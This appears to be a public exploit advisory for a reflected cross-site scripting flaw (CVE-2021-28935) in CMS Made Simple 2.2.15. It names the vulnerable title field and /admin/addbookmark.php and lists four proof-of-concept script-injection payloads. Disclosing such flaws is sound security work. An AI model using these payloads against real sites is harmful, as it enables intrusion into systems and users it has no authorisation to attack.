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CMS Made Simple 2.2.15 Cross Site Scripting

CMS Made Simple 2.2.15 Cross Site Scripting
Posted Apr 22, 2021
Authored by bt0

CMS Made Simple version 2.2.15 suffers from a reflective cross site scripting vulnerability.

tags | exploit, xss
advisories | CVE-2021-28935
MD5 | 1bd97d4c76ab1904826cf2601e327f7c

CMS Made Simple 2.2.15 Cross Site Scripting

Change Mirror Download
# Exploit Title: CMS Made Simple 2.2.15 - 'title' Cross-Site Scripting (XSS)
# Date: 2021/03/19
# Exploit Author: bt0
# Vendor Homepage: http://www.cmsmadesimple.org/
# Software Link: https://s3.amazonaws.com/cmsms/downloads/14832/cmsms-2.2.15-install.zip
# Version: 2.2.15
# CVE: CVE-2021-28935 https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-28935

-----------------------------------------------------------

If you log into Admin panel and open My Preferences you could be able to exploit XSS in title field

Reflected XSS in /admin/addbookmark.php

Some payloads that works:

"><script>prompt(1)</script><"
"><script>alert(1)</script><"
63311';alert(1)//812
//--></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>

------------------------------------------------------------

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